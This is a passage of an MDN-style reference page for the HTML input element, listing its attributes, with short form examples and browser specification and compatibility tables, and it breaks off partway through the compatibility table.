<dt>{{htmlattrdef("mozactionhint")}} {{non-standard_inline}}</dt> + <dd>Specifies an "action hint" used to determine how to label the enter key on mobile devices with virtual keyboards. Supported values are <code>go</code>, <code>done</code>, <code>next</code>, <code>search</code>, and <code>send</code>; these automatically get mapped to the appropriate string (and are case-insensitive).</dd> + <dt>{{htmlattrdef("autocapitalize")}} {{non-standard_inline}}</dt> + <dd>This is a nonstandard attribute used by iOS Safari Mobile which controls whether and how the text value should be automatically capitalized as it is entered/edited by the user. The non-deprecated values are available in iOS 5 and later. Possible values are: + <ul> + <li><code>none</code>: Completely disables automatic capitalization</li> + <li><code>sentences</code>: Automatically capitalize the first letter of sentences.</li> + <li><code>words</code>: Automatically capitalize the first letter of words.</li> + <li><code>characters</code>: Automatically capitalize all characters.</li> + <li><code>on</code>: {{deprecated_inline()}} Deprecated since iOS 5.</li> + <li><code>off</code>: {{deprecated_inline()}} Deprecated since iOS 5.</li> + </ul> + </dd> + <dt>{{htmlattrdef("autocomplete")}} {{HTMLVersionInline("5")}}</dt> + <dd>This attribute indicates whether the value of the control can be automatically completed by the browser. This attribute is ignored if the value of the <strong>type</strong> attribute is <code>hidden, password,</code> <code>checkbox</code>, <code>radio</code>, <code>file</code>, or a button type (<code>button</code>, <code>submit</code>, <code>reset</code>, <code>image</code>). Possible values are: + <ul> + <li><code>off</code>: The user must explicitly enter a value into this field for every use, or the document provides its own auto-completion method; the browser does not automatically complete the entry.</li> + <li><code>on</code>: The browser can automatically complete the value based on values that the user has entered during previous uses.</li> + </ul> + + <p>If the <strong>autocomplete</strong> attribute is not specified on an input element, then the browser uses the <strong>autocomplete</strong> attribute value of the <code><input></code> element's form owner. The form owner is either the <code>form</code> element that this <code><input></code> element is a descendant of or the form element whose <strong>id</strong> is specified by the <strong>form</strong> attribute of the input element. For more information, see the {{htmlattrxref("autocomplete", "form")}} attribute in {{HTMLElement("form")}}.</p> + + <p>The <strong>autocomplete</strong> attribute also controls whether Firefox will, unlike other browsers, <a href="http://stackoverflow.com/questions/5985839/bug-with-firefox-disabled-attribute-of-input-not-resetting-when-refreshing">persist the dynamic disabled state and (if applicable) dynamic checkedness</a> of an {{HTMLElement("input")}} across page loads. The persistence feature is enabled by default. Setting the value of the <strong>autocomplete</strong> attribute to <code>off</code> disables this feature; this works even when the <strong>autocomplete</strong> attribute would normally not apply to the {{HTMLElement("input")}} by virtue of its <strong>type</strong>. See {{bug(654072)}}.</p> + </dd> + <dt>{{htmlattrdef("autocorrect")}} {{non-standard_inline}}</dt> + <dd>This is a nonstandard attribute supported by Safari that is used to control whether autocorrection should be enabled when the user is entering/editing the text value of the {{HTMLElement("input")}}. Possible attribute values are: + <ul> + <li><code>on</code>: Enable autocorrection</li> + <li><code>off</code>: Disable autocorrection</li> + </ul> + </dd> + <dt>{{htmlattrdef("autofocus")}} {{HTMLVersionInline("5")}}</dt> + <dd>This Boolean attribute lets you specify that a form control should have input focus when the page loads, unless the user overrides it, for example by typing in a different control. Only one form element in a document can have the <strong>autofocus</strong> attribute, which is a Boolean. It cannot be applied if the <strong>type</strong> attribute is set to <code>hidden</code> (that is, you cannot automatically set focus to a hidden control).</dd> + <dt>{{htmlattrdef("autosave")}} {{HTMLVersionInline("5")}}</dt> + <dd>This attribute should be defined as a unique value. If the value of the type attribute is <code>search</code>, previous search term values will persist in the dropdown across page load.</dd> + <dt>{{htmlattrdef("checked")}}</dt> + <dd> + <p>When the value of the <strong>type</strong> attribute is <code>radio</code> or <code>checkbox</code>, the presence of this Boolean attribute indicates that the control is selected by default; otherwise it is ignored.</p> + + <p>Firefox will, unlike other browsers, by default, <a href="http://stackoverflow.com/questions/5985839/bug-with-firefox-disabled-attribute-of-input-not-resetting-when-refreshing">persist the dynamic checked state</a> of an {{HTMLElement("input")}} across page loads. Use the {{htmlattrxref("autocomplete","input")}} attribute to control this feature.</p> + </dd> + <dt>{{htmlattrdef("disabled")}}</dt> + <dd> + <p>This Boolean attribute indicates that the form control is not available for interaction. In particular, the <code>click</code> event <a class="external" href="https://html.spec.whatwg.org/multipage/forms.html#enabling-and-disabling-form-controls:-the-disabled-attribute">will not be dispatched</a> on disabled controls. Also, a disabled control's value isn't submitted with the form.</p> + + <p>Firefox will, unlike other browsers, by default, <a href="http://stackoverflow.com/questions/5985839/bug-with-firefox-disabled-attribute-of-input-not-resetting-when-refreshing">persist the dynamic disabled state</a> of an {{HTMLElement("input")}} across page loads. Use the {{htmlattrxref("autocomplete","input")}} attribute to control this feature.</p> + </dd> + <dt>{{htmlattrdef("form")}} {{HTMLVersionInline("5")}}</dt> + <dd>The form element that the input element is associated with (its <em>form owner</em>). The value of the attribute must be an <strong>id</strong> of a {{HTMLElement("form")}} element in the same document. If this attribute is not specified, this <code><input></code> element must be a descendant of a {{HTMLElement("form")}} element. This attribute enables you to place <code><input></code> elements anywhere within a document, not just as descendants of their form elements. An input can only be associated with one form.</dd> + <dt>{{htmlattrdef("formaction")}} {{HTMLVersionInline("5")}}</dt> + <dd>The URI of a program that processes the information submitted by the input element, if it is a submit button or image. If specified, it overrides the {{htmlattrxref("action","form")}} attribute of the element's form owner.</dd> + <dt>{{htmlattrdef("formenctype")}} {{HTMLVersionInline("5")}}</dt> + <dd>If the input element is a submit button or image, this attribute specifies the type of content that is used to submit the form to the server. Possible values are: + <ul> + <li><code>application/x-www-form-urlencoded</code>: The default value if the attribute is not specified.</li> + <li><code>multipart/form-data</code>: Use this value if you are using an {{HTMLElement("input")}} element with the {{htmlattrxref("type","input")}} attribute set to <code>file</code>.</li> + <li><code>text/plain</code></li> + </ul> + + <p>If this attribute is specified, it overrides the {{htmlattrxref("enctype","form")}} attribute of the element's form owner.</p> + </dd> + <dt>{{htmlattrdef("formmethod")}} {{HTMLVersionInline("5")}}</dt> + <dd>If the input element is a submit button or image, this attribute specifies the HTTP method that the browser uses to submit the form. Possible values are: + <ul> + <li><code>post</code>: The data from the form is included in the body of the form and is sent to the server.</li> + <li><code>get</code>: The data from the form are appended to the <strong>form</strong> attribute URI, with a '?' as a separator, and the resulting URI is sent to the server. Use this method when the form has no side-effects and contains only ASCII characters.</li> + </ul> + + <p>If specified, this attribute overrides the {{htmlattrxref("method","form")}} attribute of the element's form owner.</p> + </dd> + <dt>{{htmlattrdef("formnovalidate")}} {{HTMLVersionInline("5")}}</dt> + <dd>If the input element is a submit button or image, this Boolean attribute specifies that the form is not to be validated when it is submitted. If this attribute is specified, it overrides the {{htmlattrxref("novalidate","form")}} attribute of the element's form owner.</dd> + <dt>{{htmlattrdef("formtarget")}} {{HTMLVersionInline("5")}}</dt> + <dd>If the input element is a submit button or image, this attribute is a name or keyword indicating where to display the response that is received after submitting the form. This is a name of, or keyword for, a <em>browsing context</em> (for example, tab, window, or inline frame). If this attribute is specified, it overrides the {{htmlattrxref("target", "form")}} attribute of the elements's form owner. The following keywords have special meanings: + <ul> + <li>_<code>self</code>: Load the response into the same browsing context as the current one. This value is the default if the attribute is not specified.</li> + <li><code>_blank</code>: Load the response into a new unnamed browsing context.</li> + <li><code>_parent</code>: Load the response into the parent browsing context of the current one. If there is no parent, this option behaves the same way as <code>_self</code>.</li> + <li><code>_top</code>: Load the response into the top-level browsing context (that is, the browsing context that is an ancestor of the current one, and has no parent). If there is no parent, this option behaves the same way as <code>_self</code>.</li> + </ul> + </dd> + <dt>{{htmlattrdef("height")}} {{HTMLVersionInline("5")}}</dt> + <dd>If the value of the <strong>type</strong> attribute is <code>image</code>, this attribute defines the height of the image displayed for the button.</dd> + <dt>{{htmlattrdef("incremental")}} {{non-standard_inline}}</dt> + <dd>This is a nonstandard attribute supported by Safari that only applies when the <strong>type</strong> is <code>search</code>. If the attribute is present, regardless of what its value is, the {{HTMLElement("input")}} fires <a href="/en-US/docs/Web/Events/search"><code>search</code></a> events as the user edits the text value. The event is only fired after an implementation-defined timeout has elapsed since the most recent keystroke; new keystrokes reset the timeout. In other words, the event firing is debounced. If the attribute is absent, the <a href="/en-US/docs/Web/Events/search"><code>search</code></a> event is only fired when the user explicitly initiates a search (e.g. by pressing the Enter key while within field).</dd> + <dt>{{htmlattrdef("inputmode")}} {{HTMLVersionInline("5")}}</dt> + <dd>A hint to the browser for which keyboard to display. This attribute applies when the value of the <strong>type</strong> attribute is text, password, email, or url. Possible values are: + <ul> + <li><code>verbatim</code>: Alphanumeric, non-prose content such as usernames and passwords.</li> + <li><code>latin</code>: Latin-script input in the user's preferred language with typing aids such as text prediction enabled. For human-to-computer communication such as search boxes.</li> + <li><code>latin-name</code>: As <em>latin</em>, but for human names.</li> + <li><code>latin-prose</code>: As <em>latin</em>, but with more aggressive typing aids. For human-to-human communication such as instant messaging for email.</li> + <li><code>full-width-latin</code>: As <em>latin-prose</em>, but for the user's secondary languages.</li> + <li><code>kana</code>: Kana or romaji input, typically hiragana input, using full-width characters, with support for converting to kanji. Intended for Japanese text input.</li> + <li><code>katakana</code>: Katakana input, using full-width characters, with support for converting to kanji. Intended for Japanese text input.</li> + <li><code>numeric</code>: Numeric input, including keys for the digits 0 to 9, the user's preferred thousands separator character, and the character for indicating negative numbers. Intended for numeric codes, e.g. credit card numbers. For actual numbers, prefer using <input type="number"></li> + <li><code>tel</code>: Telephone input, including asterisk and pound key. Use <input type="tel"> if possible instead.</li> + <li><code>email</code>: Email input. Use <input type="email"> if possible instead.</li> + <li><code>url</code>: URL input. Use <input type="url"> if possible instead.</li> + </ul> + </dd> + <dt>{{htmlattrdef("list")}} {{HTMLVersionInline("5")}}</dt> + <dd>Identifies a list of pre-defined options to suggest to the user. The value must be the <strong>id</strong> of a {{HTMLElement("datalist")}} element in the same document. The browser displays only options that are valid values for this input element. This attribute is ignored when the <strong>type</strong> attribute's value is <code>hidden</code>, <code>checkbox</code>, <code>radio</code>, <code>file</code>, or a button type.</dd> + <dt>{{htmlattrdef("max")}} {{HTMLVersionInline("5")}}</dt> + <dd>The maximum (numeric or date-time) value for this item, which must not be less than its minimum (<strong>min</strong> attribute) value.</dd> + <dt>{{htmlattrdef("maxlength")}}</dt> + <dd>If the value of the <strong>type</strong> attribute is <code>text</code>, <code>email</code>,<code> search</code>, <code>password</code>, <code>tel</code>, or <code>url</code>, this attribute specifies the maximum number of characters (in Unicode code points) that the user can enter; for other control types, it is ignored. It can exceed the value of the <strong>size</strong> attribute. If it is not specified, the user can enter an unlimited number of characters. Specifying a negative number results in the default behavior; that is, the user can enter an unlimited number of characters. The constraint is evaluated only when the value of the attribute has been changed.</dd> + <dt>{{htmlattrdef("min")}} {{HTMLVersionInline("5")}}</dt> + <dd>The minimum (numeric or date-time) value for this item, which must not be greater than its maximum (<strong>max</strong> attribute) value.</dd> + <dt>{{htmlattrdef("minlength")}} {{HTMLVersionInline("5")}}</dt> + <dd>If the value of the <strong>type</strong> attribute is <code>text</code>, <code>email</code>,<code> search</code>, <code>password</code>, <code>tel</code>, or <code>url</code>, this attribute specifies the minimum number of characters (in Unicode code points) that the user can enter; for other control types, it is ignored.</dd> + <dt>{{htmlattrdef("multiple")}} {{HTMLVersionInline("5")}}</dt> + <dd>This Boolean attribute indicates whether the user can enter more than one value. This attribute applies when the <strong>type</strong> attribute is set to <code>email</code> or <code>file</code>; otherwise it is ignored.</dd> + <dt>{{htmlattrdef("name")}}</dt> + <dd>The name of the control, which is submitted with the form data.</dd> + <dt>{{htmlattrdef("pattern")}} {{HTMLVersionInline("5")}}</dt> + <dd>A regular expression that the control's value is checked against. The pattern must match the entire value, not just some subset. Use the <strong>title</strong> attribute to describe the pattern to help the user. This attribute applies when the value of the <strong>type</strong> attribute is <code>text</code>, <code>search</code>, <code>tel</code>, <code>url</code> or <code>email</code>; otherwise it is ignored. The regular expression language is the same as JavaScript's. The pattern is not surrounded by forward slashes.</dd> + <dt>{{htmlattrdef("placeholder")}} {{HTMLVersionInline("5")}}</dt> + <dd>A hint to the user of what can be entered in the control . The placeholder text must not contain carriage returns or line-feeds. This attribute applies when the value of the <strong>type</strong> attribute is <code>text</code>, <code>search</code>, <code>tel</code>, <code>url</code> or <code>email</code>; otherwise it is ignored. + <div class="note"><strong>Note:</strong> Do not use the <code>placeholder</code> attribute instead of a {{HTMLElement("label")}} element. Their purposes are different: the {{HTMLElement("label")}} attribute describes the role of the form element; that is, it indicates what kind of information is expected, the <code>placeholder</code> attribute is a hint about the format the content should take. There are cases in which the <code>placeholder</code> attribute is never displayed to the user, so the form must be understandable without it.</div> + </dd> + <dt>{{htmlattrdef("readonly")}}</dt> + <dd>This Boolean attribute indicates that the user cannot modify the value of the control. + <p>{{HTMLVersionInline("5")}} This attribute is ignored if the value of the <strong>type</strong> attribute is <code>hidden</code>, <code>range</code>, <code>color</code>, <code>checkbox</code>, <code>radio</code>, <code>file</code>, or a button type.</p> + </dd> + <dt>{{htmlattrdef("required")}} {{HTMLVersionInline("5")}}</dt> + <dd>This attribute specifies that the user must fill in a value before submitting a form. It cannot be used when the <strong>type</strong> attribute is <code>hidden</code>, <code>image</code>, or a button type (<code>submit</code>, <code>reset</code>, or <code>button</code>). The {{cssxref(":optional")}} and {{cssxref(":required")}} CSS pseudo-classes will be applied to the field as appropriate.</dd> + <dt>{{htmlattrdef("results")}} {{non-standard_inline}}</dt> + <dd>This is a nonstandard attribute supported by Safari that only applies when the <strong>type</strong> is <code>search</code>. It is used to control the maximum number of entries that should be displayed in the {{HTMLElement("input")}}'s native dropdown list of past search queries. Its value should be a nonnegative decimal integer.</dd> + <dt>{{htmlattrdef("selectionDirection")}} {{HTMLVersionInline("5")}}</dt> + <dd>The direction in which selection occurred. This is "forward" if the selection was made from left-to-right in an LTR locale or right-to-left in an RTL locale, or "backward" if the selection was made in the opposite direction. This can be "none" if the selection direction is unknown.</dd> + <dt>{{htmlattrdef("size")}}</dt> + <dd>The initial size of the control. This value is in pixels unless the value of the <strong>type</strong> attribute is <code>text</code> or <code>password</code>, in which case, it is an integer number of characters. Starting in HTML5, this attribute applies only when the <strong>type</strong> attribute is set to <code>text</code>, <code>search</code>, <code>tel</code>, <code>url</code>, <code>email</code>, or <code>password</code>; otherwise it is ignored. In addition, the size must be greater than zero. If you don't specify a size, a default value of 20 is used.</dd> + <dt>{{htmlattrdef("spellcheck")}} {{HTMLVersionInline("5")}}</dt> + <dd>Setting the value of this attribute to <code>true</code> indicates that the element needs to have its spelling and grammar checked. The value <code>default</code> indicates that the element is to act according to a default behavior, possibly based on the parent element's own <code>spellcheck</code> value. The value <code>false</code> indicates that the element should not be checked.</dd> + <dt>{{htmlattrdef("src")}}</dt> + <dd>If the value of the <strong>type</strong> attribute is <code>image</code>, this attribute specifies a URI for the location of an image to display on the graphical submit button; otherwise it is ignored.</dd> + <dt>{{htmlattrdef("step")}} {{HTMLVersionInline("5")}}</dt> + <dd>Works with the <strong>min</strong> and <strong>max</strong> attributes to limit the increments at which a numeric or date-time value can be set. It can be the string <code>any</code> or a positive floating point number. If this attribute is not set to <code>any</code>, the control accepts only values at multiples of the step value greater than the minimum.</dd> + <dt>{{htmlattrdef("tabindex")}} element-specific in {{HTMLVersionInline(4)}}, global in {{HTMLVersionInline("5")}}</dt> + <dd>The position of the element in the tabbing navigation order for the current document.</dd> + <dt>{{htmlattrdef("usemap")}} {{HTMLVersionInline(4)}} only, {{obsoleteGeneric("inline", "HTML5")}}</dt> + <dd>The name of a {{HTMLElement("map")}} element to as an image map.</dd> + <dt>{{htmlattrdef("value")}}</dt> + <dd>The initial value of the control. This attribute is optional except when the value of the <strong>type</strong> attribute is <code>radio</code> or <code>checkbox</code>.<br> + Note that when reloading the page, Gecko and IE <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=46845#c186">will ignore the value specified in the HTML source</a>, if the value was changed before the reload.</dd> + <dt>{{htmlattrdef("width")}} {{HTMLVersionInline("5")}}</dt> + <dd>If the value of the <strong>type</strong> attribute is <code>image</code>, this attribute defines the width of the image displayed for the button.</dd> + <dt>{{htmlattrdef("x-moz-errormessage")}} {{non-standard_inline}}</dt> + <dd>This Mozilla extension allows you to specify the error message to display when a field doesn't successfully validate.</dd> +</dl> + +<h2 id="Notes">Notes</h2> + +<h3 id="File_inputs">File inputs</h3> + +<div class="note"> +<p><strong>Note:</strong> Starting in {{Gecko("2.0")}}, calling the <code>click()</code> method on an {{HTMLElement("input")}} element of type "file" opens the file picker and lets the user select files. See <a href="/en-US/docs/Using_files_from_web_applications">Using files from web applications</a> for an example and more details.</p> +</div> + +<p>You can't set the value of a file picker from a script; doing something like the following has no effect:</p> + +<pre class="brush: js">var e = getElementById("someFileInputElement"); +e.value = "foo"; +</pre> + +<h3 id="Error_messages">Error messages</h3> + +<p>If you want Firefox to present a custom error message when a field fails to validate, you can use the <code>x-moz-errormessage</code> attribute to do so:</p> + +<pre class="brush: html"><input type="email" x-moz-errormessage="Please specify a valid email address."> +</pre> + +<p>Note, however, that this is not standard and will not have an effect on other browsers.</p> + +<h2 id="Examples">Examples</h2> + +<h3 id="A_simple_input_box">A simple input box</h3> + +<pre class="brush: html"><!-- A basic input --> +<input type="text" name="input" value="Type here"> +</pre> + +<p><input><img align="absmiddle" alt="" class="ife_marker" id="input_ife_marker_0" style="border: 0pt none; width: 14px; height: 19px; cursor: pointer; display: inline;" title="Max field length is unknown"></p> + +<h3 id="A_common_use-case_scenario">A common use-case scenario</h3> + +<pre class="brush: html"><!-- A common form that includes input tags --> +<form action="getform.php" method="get"> + <label>First name: <input type="text" name="first_name" /></label><br /> + <label>Last name: <input type="text" name="last_name" /></label><br /> + <label>E-mail: <input type="email" name="user_email" /></label><br /> +<input type="submit" value="Submit" /> +</form> +</pre> + +<h3 id="Using_mozactionhint_on_Firefox_mobile">Using mozactionhint on Firefox mobile</h3> + +<p>You can use the {{htmlattrxref("mozactionhint", "input")}} attribute to specify the text for the label of the enter key on the virtual keyboard when your form is rendered on Firefox mobile. For example, to have a "Next" label, you can do this:</p> + +<pre class="brush: html"><input type="text" mozactionhint="next" name="sometext" /> +</pre> + +<p>The result is:</p> + +<p><a href="/@api/deki/files/4970/=mozactionhint.png"><img alt="mozactionhint.png" class="internal default" src="/@api/deki/files/4970/=mozactionhint.png?size=webview" style="width: 210px; height: 350px; border: 1px solid black;"></a></p> + +<h2 id="Specifications" name="Specifications">Specifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('HTML WHATWG', 'the-input-element.html#the-input-element', '<input>')}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('HTML5 W3C', 'forms.html#the-input-element', '<input>')}}</td> + <td>{{Spec2('HTML5 W3C')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('HTML4.01', 'interact/forms.html#h-17.4', '<form>')}}</td> + <td>{{Spec2('HTML4.01')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<p>{{CompatibilityTable}}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>1.0</td> + <td>{{CompatGeckoDesktop("1.7 or earlier")}}</td> + <td>2 or earlier</td> + <td>1.0</td> + <td>1.0</td> + </tr> + <tr> + <td>type</td> + <td>1.0</td> + <td>{{CompatGeckoDesktop("1.7 or earlier")}}</td> + <td>2</td> + <td>1.0</td> + <td>1.0</td> + </tr> + <tr> + <td>type=button</td> + <td>1.0</td> + <td>{{CompatGeckoDesktop("1.7 or earlier")}}</td> + <td>3</td> + <td>1.0</td> + <td>1.0</td> + </tr> + <tr> + <td>type=checkbox</td> + <td>1.0</td> + <td>{{CompatGeckoDesktop("1.7 or earlier")}}<br> + {{CompatGeckoDesktop("1.9.2")}} for <code>indeterminate</code> value</td> + <td>2</td> + <td>1.0</td> + <td>1.0</td> + </tr> + <tr> + <td>type=color</td> + <td>21.0</td> + <td> + <p>{{CompatGeckoDesktop("29.0")}} (Not for Windows Touch yet)</p> + </td> + <td>{{CompatNo}}</td> + <td>11.01</td> + <td>{{CompatNo}}</td> + </tr> + <tr> + <td>type=date</td> + <td>5.0</td> + <td>{{CompatNo}}<br> + {{unimplemented_inline("825294")}}</td> + <td>{{CompatNo}}</td> + <td>10.62</td> + <td>{{CompatVersionUnknown}} (recognized but no UI)</td> + </tr> + <tr> + <td>type=datetime</td> + <td> + <p>{{CompatNo}}<br> + (recognized but no UI)</p> + </td> + <td>{{CompatNo}}<br> + {{unimplemented_inline("825294")}}</td> + <td>{{CompatNo}}</td> + <td>10.62</td> + <td>{{CompatVersionUnknown}} (recognized but no UI)</td> + </tr> + <tr> + <td style="white-space: nowrap;">type=datetime-local</td> + <td>5.0</td> + <td>{{CompatNo}}<br> + {{unimplemented_inline("825294")}}</td> + <td>{{CompatNo}}</td> + <td>10.62</td> + <td>{{CompatVersionUnknown}} (recognized but no UI)</td> + </tr> + <tr> + <td>type=email</td> + <td>5.0</td> + <td>{{CompatGeckoDesktop("2.0")}}</td> + <td>10</td> + <td>10.62</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td>type=file</td> + <td>1.0</td> + <td>{{CompatGeckoDesktop("1.7 or earlier")}}</td> + <td>3.02</td> + <td>1.0</td> + <td>1.0</td> + </tr> + <tr> + <td>type=hidden</td> + <td>1.0</td> + <td>{{CompatGeckoDesktop("1.7 or earlier")}}</td> + <td>2</td> + <td>1.0</td> + <td>1.0</td> + </tr> + <tr> + <td>type=image</td> + <td>1.0</td> + <td>Gecko 2.0 only sends x and y coordinates when clicked, not longer the name/value of the element</td> + <td>2</td> + <td>1.0</td> + <td>1.0</td> + </tr> + <tr> + <td>type=month</td> + <td>5.0</td> + <td>{{CompatNo}}<br> + {{unimplemented_inline("446510")}}</td> + <td>{{CompatNo}}</td> + <td>10.62</td> + <td>{{CompatVersionUnknown}} (recognized but no UI)</td> + </tr> + <tr> + <td>type=number</td> + <td>6.0 (Localization in Chrome 11)</td> + <td>{{CompatGeckoDesktop("29.0")}}</td> + <td>10<br> + (recognized but no UI)</td> + <td>10.62</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td>type=password</td> + <td>1.0</td> + <td>{{CompatGeckoDesktop("1.7 or earlier")}}</td> + <td>2</td> + <td>1.0</td> + <td>1.0</td> + </tr> + <tr> + <td>type=radio</td> + <td>1.0</td> + <td>{{CompatGeckoDesktop("1.7 or earlier")}}<br> + {{CompatGeckoDesktop("1.9.2")}} for <code>indeterminate</code> value</td> + <td>2</td> + <td>1.0</td> + <td>1.0</td> + </tr> + <tr> + <td>type=range</td> + <td>5.0</td> + <td>{{CompatGeckoDesktop("23.0")}}</td> + <td>10</td> + <td>10.62 (11.01 added support for a default value)</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td>type=reset</td> + <td>1.0</td> + <td>{{CompatGeckoDesktop("1.7 or earlier")}}</td> + <td>2</td> + <td>1.0</td> + <td>1.0</td> + </tr> + <tr> + <td>type=search</td> + <td>5.0</td> + <td>{{CompatGeckoDesktop("2.0")}}</td> + <td>10</td> + <td>11.01</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td>type=submit</td> + <td>1.0</td> + <td>{{CompatGeckoDesktop("1.7 or earlier")}}</td> + <td>2</td> + <td>1.0</td> + <td>1.0</td> + </tr> + <tr> + <td>type=tel</td> + <td>5.0</td> + <td>{{CompatGeckoDesktop("2.0")}}</td> + <td>10</td> + <td>11.01</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td>type=text</td> + <td>1.0</td> + <td>{{CompatGeckoDesktop("1.7 or earlier")}}</td> + <td>2</td> + <td>1.0</td> + <td>1.0</td> + </tr> + <tr> + <td>type=time</td> + <td>5.0</td> + <td>{{CompatNo}}<br> + {{unimplemented_inline("825294")}}</td> + <td>{{CompatNo}}</td> + <td>10.62</td> + <td>{{CompatVersionUnknown}} (recognized but no UI)</td> + </tr> + <tr> + <td>type=url</td> + <td>5.0</td> + <td>{{CompatGeckoDesktop("2.0")}}</td> + <td>10</td> + <td>10.62</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td>type=week</td> + <td>5.0</td> + <td>{{CompatNo}}<br> + {{unimplemented_inline("825294")}}</td> + <td>{{CompatNo}}</td> + <td>10.62</td> + <td>{{CompatVersionUnknown}} (recognized but no UI)</td> + </tr> + <tr> + <td> + <p>accept=[file extension]</p> + </td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatNo}}</td> + <td>10</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatNo}}</td> + </tr> + <tr> + <td> + <p>accept=[MIME type]</p> + </td> + <td>8.0</td> + <td>{{CompatGeckoDesktop("16.0")}}</td> + <td>10</td> + <td>10</td> + <td>{{CompatNo}}</td> + </tr> + <tr> + <td>accept=audio/*</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoDesktop("2.0")}}<br> + Filters for the following audio file extensions: .aac, .aif, .flac, .iff, .m4a, .m4b, .mid, .midi, .mp3, .mpa, .mpc, .oga, .ogg, .ra, .ram, .snd, .wav, .wma</td> + <td>10</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + </tr> + <tr> + <td>accept=video/*</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoDesktop("2.0")}}<br> + Filters for the following video file extensions: .avi, .divx, .flv, .m4v, .mkv, .mov, .mp4, .mpeg, .mpg, .ogm, .ogv, .ogx, .rm, .rmvb, .smil, .webm, .wmv, .xvid</td> + <td>10</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + </tr> + <tr> + <td>accept=image/*</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoDesktop("2.0")}}<br> + Filters for the following image file extensions: .jpe, .jpg, .jpeg, .gif, .png, .bmp, .ico, .svg, .svgz, .tif, .tiff, .ai, .drw, .pct, .psp, .xcf, .psd, .raw</td> + <td>10</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + </tr> + <tr> + <td>accept=[. + ext]</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatGeckoDesktop("37.0")}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td>accesskey</td> + <td>1.0</td> + <td>{{CompatVersionUnknown}}</td> + <td>6</td> + <td>1.0</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td>mozactionhint</td> + <td>{{CompatNo}}</td> + <td>{{CompatGeckoDesktop("2.0")}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + </tr> + <tr> + <td>autocomplete</td> + <td>17.0</td> + <td>{{CompatGeckoDesktop("2.0")}}</td> + <td>5</td> + <td>9.6</td> + <td>5.2</td> + </tr> + <tr> + <td>autofocus</td> + <td>5.0</td> + <td>{{CompatGeckoDesktop("2.0")}}</td> + <td>10</td> + <td>9.6</td> + <td>5.0</td> + </tr> + <tr> + <td>checked</td> + <td>1.0</td> + <td>{{CompatGeckoDesktop("1.7 or earlier")}}</td> + <td>2</td> + <td>1.0</td> + <td>1.0</td> + </tr> + <tr> + <td>disabled</td> + <td>1.0</td> + <td>{{CompatGeckoDesktop("1.7 or earlier")}}</td> + <td>6</td> + <td>1.0</td> + <td>1.0</td> + </tr> + <tr> + <td>form</td> + <td>9.0</td> + <td>{{CompatGeckoDesktop("2.0")}}</td> + <td>{{CompatUnknown}}</td> + <td>10.62</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td>formaction</td> + <td>9.0</td> + <td>{{CompatGeckoDesktop("2.0")}}</td> + <td>10</td> + <td>10.62</td> + <td>5.2</td> + </tr> + <tr> + <td>formenctype</td> + <td>9.0</td> + <td>{{CompatGeckoDesktop("2.0")}}</td> + <td>10</td> + <td>10.62</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td>formmethod</td> + <td>9.0</td> + <td>{{CompatGeckoDesktop("2.0")}}</td> + <td>10</td> + <td>10.62</td> + <td>5.2</td> + </tr> + <tr> + <td>formnovalidate</td> + <td>5.0 (in 6.0 only worked with HTML5 doctype, validation support in 7.0 was disabled and re-enabled in 10.0)</td> + <td>{{CompatGeckoDesktop("2.0")}}</td> + <td>10</td> + <td>10.62</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td>formtarget</td> + <td>9.0</td> + <td>{{CompatGeckoDesktop("2.0")}}</td> + <td>10</td> + <td>10.62</td> + <td>5.2</td> + </tr> + <tr> + <td>height</td> + <td>1.0</td> + <td>{{CompatGeckoDesktop("16.0")}}</td> + <td>{{CompatUnknown}}</td> + <td>1.0</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td>incremental</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td>inputmode</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + </tr> + <tr> + <td>list</td> + <td>20.0</td> + <td>{{CompatGeckoDesktop("2.0")}}</td> + <td>10</td> + <td>9.6</td> + <td>{{CompatNo}}</td> + </tr> + <tr> + <td>max</td> + <td>5.0</td> + <td>{{CompatGeckoDesktop("16.0")}}</td> + <td>{{CompatUnknown}}</td> + <td>10.62</td> + <td>{{CompatUnknown}}</td> + 